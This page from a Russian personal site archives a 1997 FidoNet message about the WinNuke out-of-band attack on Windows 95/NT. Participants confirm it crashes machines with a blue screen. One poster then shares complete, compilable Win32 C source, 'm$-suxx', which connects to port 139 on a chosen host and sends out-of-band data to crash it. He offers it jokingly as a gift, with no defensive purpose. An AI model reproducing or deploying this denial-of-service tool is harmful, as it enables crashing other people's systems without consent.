DiBR
обычная кошмарная
домашняя страничка
Ежекакполучится околокомпьютерное обозрение
 
  <<<  предыдущий Tech! archive #407 следующий  >>>  
   Последний выпуск       Архив       Ссылки       Полезности       humor.filtered       Фотки       О сайте   
          Это - достаточно беспорядочный архив сообщений конференций сети fidonet, которые на момент их прочтения мной показались полезными или интересными. Многие устарели, многие узкоспецифичны и малоинтересны, но может оказаться и что-то новое...
         
- __techs (2:5015/42) ----------------------------------------------- __techs -
Msg  : 407 of 1000                         Rcv
From : Mike Shirobokov                     2:5015/28       12 May 97  12:40:46
To   : Dmitry Radishev                                     13 May 97  18:28:56
Subj : А вы уже трапнули соседские Windows?
-------------------------------------------------------------------------------
@AREA:RU.OS.CMP
From: mad_max@dixon.volgacom.samara.su (Mike Shirobokov)

DR> Dmitry Radishev (Dmitry.Radishev@f42.n5015.z2.fidonet.org) wrote:

m>>  Проверено на NT, работает :)
m>>    It is possible to remotely cause denial of service to any windows
m>>  95/NT user.  It is done by sending OOB [Out Of Band] data to an
DR>  Сегодня проверили на моих нтях - работает на ура, голубой экран,
DR> перезагрузка.

DR>  Hаконец-то нашли дырку посерьезней 135 порта :-)

в голове у гейтса. а вот мой подарок тем, кто не знает, как послать
out-of-band data. должно собраться любым компайлером с target win32
(подразумевается, что те, у кого не win32, в состоянии и сами такое
написать;).

=== cut ===

#include <stdlib.h>
#include <stdio.h>
#include <winsock.h>

void main( int argc, char* argv[] )
{
 if( argc < 2 ) {
   puts( "usage: m$-suxx <host name> [<port>]" );
   return;
 }
 WSAData wd;
 WSAStartup( 0x101, &wd );
 int sock = socket( AF_INET, SOCK_STREAM, 0 );
 if( sock == -1 ) {
   printf( "cannot get socket, errno %d\\n", h_errno );
 }
 else {
   struct sockaddr_in addr;
   addr.sin_family = AF_INET;
   addr.sin_port = argc > 2 ? htons(atoi(argv[2])) : htons(139);
   if( !gethostbyname(argv[1]) ) {
     printf( "unknown host '%s'\\n", argv[1] );
   }
   else {
     int adr = addr.sin_addr.s_addr = *(int*)(gethostbyname(argv[1])->h_addr);
     printf( "connecting to %s (port# %d)...\\n", argv[1], htons(addr.sin_port)
);
     if( connect( sock, (struct sockaddr *)&addr, sizeof(addr) ) == -1 ) {
       printf( "cannot connect, errno=%d", h_errno );
     }
     else {
       printf( "connected to %s (%u.%u.%u.%u)\\n", argv[1],
         ntohl(adr)>>24, (BYTE)(ntohl(adr)>>16),
         (BYTE)(ntohl(adr)>>8), (BYTE)ntohl(adr) );
       puts( "press any key to nuke it or 'reset' to abort" );
 getchar();
       send( sock, (const char*)&sock, 4, MSG_OOB );
       closesocket( sock );
     }
   }
 }
 WSACleanup();
}

=== cut ===

--
 C U ! Mad Max / Queue Members Group
--- ifmail v.2.8c
* Origin: QMG Object Research. (2:5057/6@fidonet)






<<<

архив dibr

>>>'